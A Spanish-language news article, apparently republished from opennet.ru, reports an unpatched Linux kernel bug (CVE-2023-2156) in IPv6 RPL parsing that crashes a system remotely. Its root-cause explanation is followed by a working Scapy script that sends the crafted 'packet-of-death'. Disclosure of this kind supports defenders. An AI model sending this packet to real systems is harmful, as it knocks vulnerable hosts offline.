Vulnerabilidad 0-day en la pila IPv6 de Linux que permite causar un crash del núcleo de forma remota

Se ha revelado información sobre una vulnerabilidad no corregida (0-day) (CVE-2023-2156) en el núcleo de Linux, que permite detener el funcionamiento del sistema mediante el envío de paquetes IPv6 especialmente diseñados (packet-of-death). El problema se manifiesta solo cuando se activa el soporte para el protocolo RPL (Routing Protocol for Low-Power and Lossy Networks), que por defecto está desactivado en las distribuciones y se utiliza, principalmente, en dispositivos embebidos que operan en redes inalámbricas con alta pérdida de paquetes.

La vulnerabilidad es causada por un procesamiento incorrecto de datos externos en el código de análisis del protocolo RPL, lo que lleva a que un fallo en la aserción se dispare y el núcleo entre en estado de pánico. Al colocar en la estructura k_buff (Socket Buffer) datos obtenidos del análisis del encabezado del paquete IPv6 RPL, si el campo CmprI se establece en 15, el campo Segleft en 1 y CmprE en 0, un vector de 48 bytes con direcciones se descomprime a 528 bytes, lo que resulta en una situación en la que la memoria asignada para el búfer es insuficiente. En este caso, en la función skb_push, utilizada para colocar datos en la estructura, se activa una verificación de desajuste de tamaño entre los datos y el búfer, generando un estado de pánico para prevenir la escritura fuera del búfer.

Ejemplo de exploit: # Usaremos Scapy para crear el paquete from scapy.all import * import socket # Usa la dirección IPv6 de tu interfaz LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Usamos sockets para enviar el paquete sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Crea el paquete # Type = 3 convierte esto en un paquete RPL # Addresses contiene 3 direcciones, pero dado que CmprI es 15, # cada octeto de las dos primeras direcciones se trata como una dirección comprimida # Segleft = 1 para activar la amplificación # lastentry = 0xf0 establece CmprI en 15 y CmprE en 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envía este paquete maligno sockfd.sendto(bytes(p), (DST_ADDR, 0))

Es notable que los desarrolladores del núcleo fueron informados sobre la vulnerabilidad ya en enero de 2022 y en los 15 meses transcurridos, intentaron solucionar el problema tres veces, publicando parches en septiembre de 2022, octubre de 2022 y abril de 2023, pero cada vez las correcciones fueron insuficientes y la vulnerabilidad pudo ser reproducida. En última instancia, el proyecto ZDI, que coordinó los esfuerzos para remediar la vulnerabilidad, decidió divulgar información detallada sobre la vulnerabilidad sin esperar la aparición de un parche funcional en el núcleo.

Por lo tanto, la vulnerabilidad aún no se ha corregido. El parche incluido en el núcleo 6.4-rc2 no es efectivo. Se recomienda a los usuarios verificar que el protocolo RPL no esté en uso en sus sistemas, lo cual se puede hacer con el comando sysctl -a | grep -i rpl_seg_enabled

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster